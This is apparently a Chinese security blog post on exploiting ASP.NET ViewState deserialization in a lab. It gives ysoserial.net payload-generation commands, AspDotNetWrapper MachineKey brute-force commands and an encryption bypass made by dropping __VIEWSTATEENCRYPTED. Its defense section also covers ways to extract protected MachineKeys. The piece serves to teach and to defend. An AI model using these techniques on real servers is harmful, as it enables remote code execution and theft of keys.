长亭百川云 - 文章详情

.NET反序列化--VIEWSTATE

零鉴科技

190

2024-07-14

.NET反序列化--VIEWSTATE

1.背景

    之前的渗透项目中,遇到过一些 IIS 站点,果不其然的都用了 VIEWSTATE,但是当时对 .NET 反序列化了解不够深入,没能利用成功,借这个机会系统学习一下 .NET 反序列化相关知识,做成一些记录。

2.相关介绍

2.1. VIEWSTATE机制

这里借来一张图:

这里通俗的解释一下:

    http 协议是无状态协议,每次请求之间都是独立的,为了让客户端和服务端之间能够相互“识别”(主要是服务端对客户端的“识别”),web 应用时常会采用诸如 cookie 或类似的机制来维护一个 session ,比如服务端保存 session 的状态信息,客户端通过 cookie 等标识来告诉服务端它对应的是哪个 session。

    ViewState 也是一种状态管理机制,只不过它的做法是在服务端将“session 状态”“序列化”,然后返回,交给客户端来保存了。具体的表现形式是:一次请求之后,服务端的返回中嵌入若干个隐藏的表单项,这些表单项的值序列化后的“session 状态”,在客户端下一次请求时,会自动带上这些表单项,服务端接收之后,反序列化对应的值就能恢复相应的“session 状态”,根据状态的不同,再做出相应的回应。

    ViewState 的优点就在于,节省了服务端对于保存和管理 session 状态的成本,不过却带来另一个问题是 ViewState 的“控制权”移交到了客户端这里,虽然有校验和加密机制,但是仍然存在密钥泄漏的风险,一旦通过了解密和验证,就会进入反序列化的流程,也就存在被恶意利用的风险。

我们可以在 web.config 中控制是否启用 ViewState

`<pages ``    enableViewState="false" [Bool]`    `enableViewStateMac="false" [Bool]`    `viewStateEncryptionMode="Always" [Always | Auto | Never]``/>`

2.2 MACHINEKEY

上面说到了 ViewState 有校验和加密机制, MACHINEKEY 便是其加密、校验密钥相关的配置项。

`<machineKey ``  validationKey="AutoGenerate,IsolateApps" [String]`  `decryptionKey="AutoGenerate,IsolateApps" [String]`  `validation="HMACSHA256" [SHA1 | MD5 | 3DES | AES | HMACSHA256 |``    HMACSHA384 | HMACSHA512 | alg:algorithm_name]`  `decryption="Auto" [Auto | DES | 3DES | AES | alg:algorithm_name]``/>`

3.ViewState序列、加解密相关逻辑

ViewState 加密、校验的详细流程,已经有师傅做过非常深的研究,接下来将以这篇引文的研究成果作为根据来总结分析:

文章链接:https://paper.seebug.org/1386/

(文章非常详细深刻,如果对 ViewState 反序列化漏洞成因感兴趣的,建议阅读全文)

3.1. 序列化、反序列化逻辑

引文中有几个要点:

  1. ViewState 是被动解析的,也就是说,即使在 web.config 中配置 enableViewState 为 false,ASP.NET 服务端也始终会解析来自客户端的 ViewState 参数,换言之,enableViewState 只影响 ViewState 的生成,不影响服务端对其的被动解析;

  2. .NET Framwork 4.5.2 之后,微软强制开启了 ViewState Mac 校验,这样在默认情况下,就一定需要 MachineKey 才能对 ViewState 进行利用;

引文的精华是针对 ViewState 序列化、反序列化流程的详细分析,ViewState 的序列化和反序列化通过 ObjectStateFormatter 进行,在此用简陋的流程图对这一部分总结:

序列化:

辅以文字描述:

  • EncryptOrDecryptData() 为加密、解密函数,当配置文件中开启 viewStateEncryptionMode 选项时,会进入该函数。

  • GetEncodeData() 为签名函数,因为 KB2905247 补丁的关系,默认强制开启 ViewState MAC,这里有两种方法可以关闭:1. 修改对应的注册表项;2. 在 web.config 中开启允许不安全的反序列化。关闭 EnforceViewStateMac 的基础上,web.config 中 enableViewStataeMac 才能生效。

  • 值得注意的是 EncryptOrDecryptData() 不仅会加密,同时也会签名。

反序列化:

‍(这里的 _page.EnableViewStateMac 来源同上面 “序列化” 部分,故省略)‍‍

文字描述:

  • _page.EnableViewStateMac 值的确定与上面的反序列化中介绍的相同,故在此图中省略,仍是受 EnforceViewStateMac 影响。

  • ASP.NET 判断 ViewState 是否加密的条件是请求中是否有 "__VIEWSTATEENCRYPTED" 项,某些情况下我们可以利用这一点来绕过加密。

3.2. 加密、解密以及签名、校验逻辑

具体算法并不是本文关注的重点,但是还是提取引文中的部分要点来作为知识点码一下:

  1. GetEncodedData() 签名函数,将数据签名并将签名数据放到原数据的尾部;特殊的,如果制定签名算法为 3DES 或 AES,还会再调用一个 EncryptOrDecryptData() 的重载,进行加密。

  2. EncryptOrDecryptData() 加、解密函数,但是同时还会做签名,最终的结果是:* E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) *结果在返回结果的 VIEWSTATE 字段中,而 modifier 在返回结果的 VIEWSTATEGENERATOR 中

  3. GetDecodedData() 校验函数,跟 GetEncodedData() 相反。

  4. modifier 来自于 GetMacKeyModifier() 函数:

  5. 如果有 viewStateUserKey,则 modifier = pageHashCode + ViewStateUsereKey;

  6. 如果没有 viewStateUserKey,则 modifier = pageHashCode;

  7. ViewStateUsereKey 是一个随机字符串值,且与用户有某种关联。

4.模拟环境测试

上面说了对于 ViewState 的“保护”包括:校验、加密,针对不同的组合,有不同的策略

测试环境:window server 2016

因为这里更多的是测试 VIEWSTATE 反序列化的效果,所以为了方便测试以及更直观地展示结果,这里我把 IIS 的应用程序池权提高到 local system,方法如下:

上文提到了,微软现在默认强制开启 ViewState MAC ,所以要在配置文件中将该项关掉,当然修改注册表项可以达到同样的效果:

方法1: 在 web.config 中添加:

`<appSettings>`    `<add key="aspnet:AllowInsecureDeserialization" value="true" />``</appSettings>`

方法2: 修改注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}\AspNetEnforceViewStateMac 的值为 0

之后再借用一个简单文件上传的 web 应用页面来进行测试:

然后测试环境就搭建好了。

以下测试部分参考了:https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-\_\_viewstate-parameter

这篇文章有比较清晰的测试思路,并且提供了一个可以用来爆破枚举 MachineKey 的工具。

https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper

4.1. testCase-1 不签名、不加密

web.config 配置启用 ViewState,但是不启用 Mac 验证和加密

`<configuration>`    `<system.web>`        `<pages``             enableViewState="true"  ``             enableViewStateMac="false"  ``             viewStateEncryptionMode="Never"  ``        />`        `<customErrors mode="Off"/>`    `</system.web>`    `<appSettings>`        `<add key="aspnet:AllowInsecureDeserialization" value="true" />`    `</appSettings>``</configuration>`

此时去访问对应的页面,会发现页面返回了一些隐藏的表单项,其中 __VIEWSTATE 项为序列化后的值,也就是我们利用的目标。

burpsuite 自带解析 ViewState 的功能,从 reponse 中能看到对应的信息,同时也会提示当前 ViewState 的状态(是否开启 MAC 或者 是否加密),如当前页面的 ViewState 没有开启 MAC

对于没有任何保护的 ViewState ,可以直接使用 ysoserial.net 来生成 payload

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo test1 > C:\temptest\test1.txt"

再构造一个正常的请求,将其中的 __VIEWSTATE 字段替换为生成的 payload:

页面返回 500 ,检查命令执行是否成功

执行成功

4.2. testCase2 签名、不加密

如果开启签名,那么服务端返回的数据就会在尾部带有校验信息,在不知道 MachineKey 的情况下,我们无法使我们的 paylaod 通过校验,也就无法触发反序列化,除非利用别的方法得到了 MachineKey,那么就得通过爆破枚举的方式来得到。

利用上文提到的工具 AspDotNetWrapper 来爆破 MachineKey,为了验证它的效果,这里在配置的时候挑选一个已经在字典中的 MachineKey 来进行测试。(这里仅为验证工具效果,真实环境中往往很难爆破到 MachineKey)

web.config:

`<configuration>`    `<system.web>`        `<pages``             enableViewState="true"  ``             enableViewStateMac="true"  ``             viewStateEncryptionMode="Never"  ``        />`        `<customErrors mode="Off"/>`        `<machineKey`            `validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"`            `decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"`            `validation="SHA1"`            `decryption="AES"`        `/>`    `</system.web>`    `<appSettings>`        `<add key="aspnet:AllowInsecureDeserialization" value="true" />`    `</appSettings>``</configuration>`

此时再去访问页面,burpsuite 已经提示 ViewState 开启了MAC 校验

接着来试一下爆破的 MachineKey 的效果:

返回的 ViewState:

交给程序来跑:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUJMjM0MDYzMjM2D2QWAgIDDxYCHgdlbmN0eXBlBRNtdWx0aXBhcnQvZm9ybS1kYXRhFgICAQ8PFgIeBFRleHQFE0M6XGluZXRwdWJcd3d3cm9vdFxkZGR1W+BiwusT65xqg+ZK+LsGaACy1w== --decrypt --purpose=ViewState --modifier=69164837 --macdecode

程序通过枚举,得到了 MachineKey。

然后 ysoserial 生成对应的 payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test2 > C:\temptest\test2.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

验证结果:

执行成功

4.3. testCase3 加密(.NET Framwork < 4.5)

上文提到过 EncryptOrDecryptData() 函数也会进行校验,所以对于开启了加密的 ViewState,那么他一定也是进行了校验的。

遗憾的是,AspDotNetWrapper 无法爆破 .NET Framwork < 4.5 下加密的 ViewState。

不过上文还说到,ASP.NET 是根据请求头中是否包含 __VIEWSTATEENCRYPTED 项来判断是否加密的,那么如果我们请求时不带这个参数,ASP.NET 也就不会尝试去解密。这时如果我们已知 MachineKey(暂时我们没办法通过爆破来获取,仅能通过别的途径拿到),可以在构造 paylaod 时不考虑加密。

web.config 开启加密

`<configuration>`    `<system.web>`        `<pages``             enableViewState="true"  ``             enableViewStateMac="true"  ``             viewStateEncryptionMode="Always"  ``        />`        `<customErrors mode="Off"/>`        `<machineKey`            `validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"`            `decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"`            `validation="SHA1"`            `decryption="AES"`        `/>`    `</system.web>`    `<appSettings>`        `<add key="aspnet:AllowInsecureDeserialization" value="true" />`    `</appSettings>``</configuration>`

此时再去访问页面,burpsuite 提示 ViewState 被加密了

假设我们已经知道了 MachineKey(事实上我们一直都知道),只利用 validationkey,不管加密地去构造 payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test3 > C:\temptest\test3.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

然后在构造的 POST 请求中删除 __VIEWSTATEENCRYPTED 参数。

验证结果:

执行成功

4.4. testCase4 加密(.NET Framwork >= 4.5)

如果使用 .NET Framwork 4.5 以上的加密方法,在实验过程中发现已经无法像 testCase3 中那样删除 __VIEWSTATEENCRYPTED 来绕过加密验证了,不过 AspDotNetWrapper 却支持这种情况下的 MachineKey 爆破

(测试环境下,可以通过设置 MachineKey 的兼容性参数,来强制使用 4.5 以上的加密方法)

web.config

`<configuration>`    `<system.web>`        `<pages``             enableViewState="true"  ``             enableViewStateMac="true"  ``             viewStateEncryptionMode="Always"  ``        />`        `<customErrors mode="Off"/>`        `<machineKey`            `validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"`            `decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"`            `validation="SHA1"`            `decryption="AES"`            `compatibilityMode="Framework45"`        `/>`    `</system.web>`    `<appSettings>`        `<add key="aspnet:AllowInsecureDeserialization" value="true" />`    `</appSettings>``</configuration>`

尝试使用爆破 MachineKey:

页面返回的 ViewState 相关表单:

爆破 MachineKey

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata A8e/FkDU5napMoKJ/CkyFhmPlosC4OmRfeFCcBV0q1LN//avhGcA7Vr/utvWc4Y3A/5tnJjeA3rbFf8SLPFDuuP++lbLTsPIYjryerxt6iR9qYwdYc5h7+Qldb37uY13L0UDmYE+k2TuOdL2Pixjy450o8uj13ebUbNHQCh5Ak+b1IB8 --decrypt --purpose=ViewState --IISDirPath "/" --TargetPagePath "/upload.aspx"

然后再使用 ysoserial.net 生成 payload,来验证我们这种情况下能否利用成功。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test4 > C:\temptest\test4.txt" --apppath="/" --path="/upload.aspx" --decryptionalg="AES" --decryptionkey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4" --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

验证结果:

执行成功

5.防御

上面说了这么多,得到一个中心思想,如果网站一定要使用 ViewState 作为状态控制的话,除了要开启验证和加密以外,还要格外注意保护好 MachineKey ,或者说注意保护好配置文件如 web.config。

比如,如果站点还存在其他漏洞如文件包含、任意文件读取等,那么 web.config 的内容存在泄漏的风险,参考 HITCON CTF 2018 - Why so Serials? 中的情景。    

不过 ASP.NET 提供了一种辅助机制,可以用来加密 web.config,包括加密其中的 MachineKey 字段等。

5.1 Protected Configuration

摘自官方介绍的一段话:

`.NET Framework 包括两个受保护的配置提供程序,可用于对配置文件中的节进行加密。RsaProtectedConfigurationProvider类使用 RSACryptoServiceProvider 来加密配置节。DpapiProtectedConfigurationProvider类使用 Windows 数据保护 API (DPAPI)来加密配置节。``可能要求使用 RSA 或 DPAPI 提供程序以外的算法来加密敏感信息。在这种情况下,您可以生成自己的自定义受保护的配置提供程序。ProtectedConfigurationProvider是一个抽象基类,你必须从继承该类以创建你自己的受保护配置提供程序。`

我们可以使用现成的加密方法来对配置进行加密,甚至可以自己来写一个独有的加密算法。

官方介绍:

https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)

https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0

以 RsaProtectedConfigurationProvider 为例,对 web 应用程序配置文件进行加密大概分为以下流程(仅供参考):

  1. 创建 RSA key container(machine-level):

    aspnet_regiis -pc "SampleKeys" –exp

  2. 将 key container 的访问权限赋给 web 应用的“所有者”

    aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"

  3. 使用 key container 对指定的配置文件中的节加密(如果没有用 -prov 指定 provider 则默认为 RsaProtectedConfigurationProvider)

    aspnet_regiis -pe "connectionStrings" -app "/MyApplication"

官方文档的介绍中,还有一些点值得关注:

  1. key container 可以被导入、导出、删除、转移,只要保证使用的算法标准相同,key container 和 已加密的配置文件就可以一起迁移到另一台机器上;

  2. Protected Configuration 的意义在于保护配置文件中的敏感信息不以明文直接保存,但是当应用程序实例被创建时,解密后的配置文件信息还是会被装载到内存中,可以保证被 ASP.NET 程序读取。

解密思路:

这种保护措施一定程度上提高了 web 应用对于外部入侵的防护能力,不过攻击者还可能从从另外的途径进入,那么仍然可以利用上面提到的特性破解

大致有三种方式:

导出密钥容器并在另一台完全可控的计算机上破解:

  1. 导出 key container

    aspnet_regiis -px "SampleKeys" keys.xml -pri

  2. 导入 key container 到另一台计算机

    aspnet_regiis -pi "SampleKeys" keys.xml

  3. 拷贝待解密的配置文件到本地的 web 目录,然后进行解密

    aspnet_regiis -pd "connectionStrings" -app "/TempApplication"

在对方机器上解密:

在一个可以解析 asp.net 应用程序的位置,或者在对应的 web 目录下写入一个 asp、aspx 脚本,脚本的内容为读取相关配置参数,也可以直接读出相应的配置,以官方提供的脚本为例:

`<%@ Page Language="VB" %>``<%@ Import Namespace="System.Configuration" %>``<%@ Import Namespace="System.Web.Configuration" %>``<script runat="server">``   ``Public Sub Page_Load()``   `  `ConnectionStringsGrid.DataSource = ConfigurationManager.ConnectionStrings`  `ConnectionStringsGrid.DataBind()``   `  `Dim config As System.Configuration.Configuration = _`    `WebConfigurationManager.OpenWebConfiguration(Request.ApplicationPath)`  `Dim key As MachineKeySection = _`    `CType(config.GetSection("system.web/machineKey"), MachineKeySection)`  `DecryptionKey.Text = key.DecryptionKey`  `ValidationKey.Text = key.ValidationKey``   ``End Sub``</script>``<html>``   ``<body>``   ``<form runat="server">``   `  `<asp:GridView runat="server" CellPadding="4" id="ConnectionStringsGrid" />`  `<P>`  `MachineKey.DecryptionKey = <asp:Label runat="Server" id="DecryptionKey" /><BR>`  `MachineKey.ValidationKey = <asp:Label runat="Server" id="ValidationKey" />``   ``</form>``   ``</body>``</html>`

参考自:https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)

终极方案

使用 procdump 等 dump 对应进程的内存,从内存中找到我们想要的字段的值,这里就不做展示了。

参考链接

本文中提到或引用的文章参考链接:

https://paper.seebug.org/1386/ https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-\_\_viewstate-parameter https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100) https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0 https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2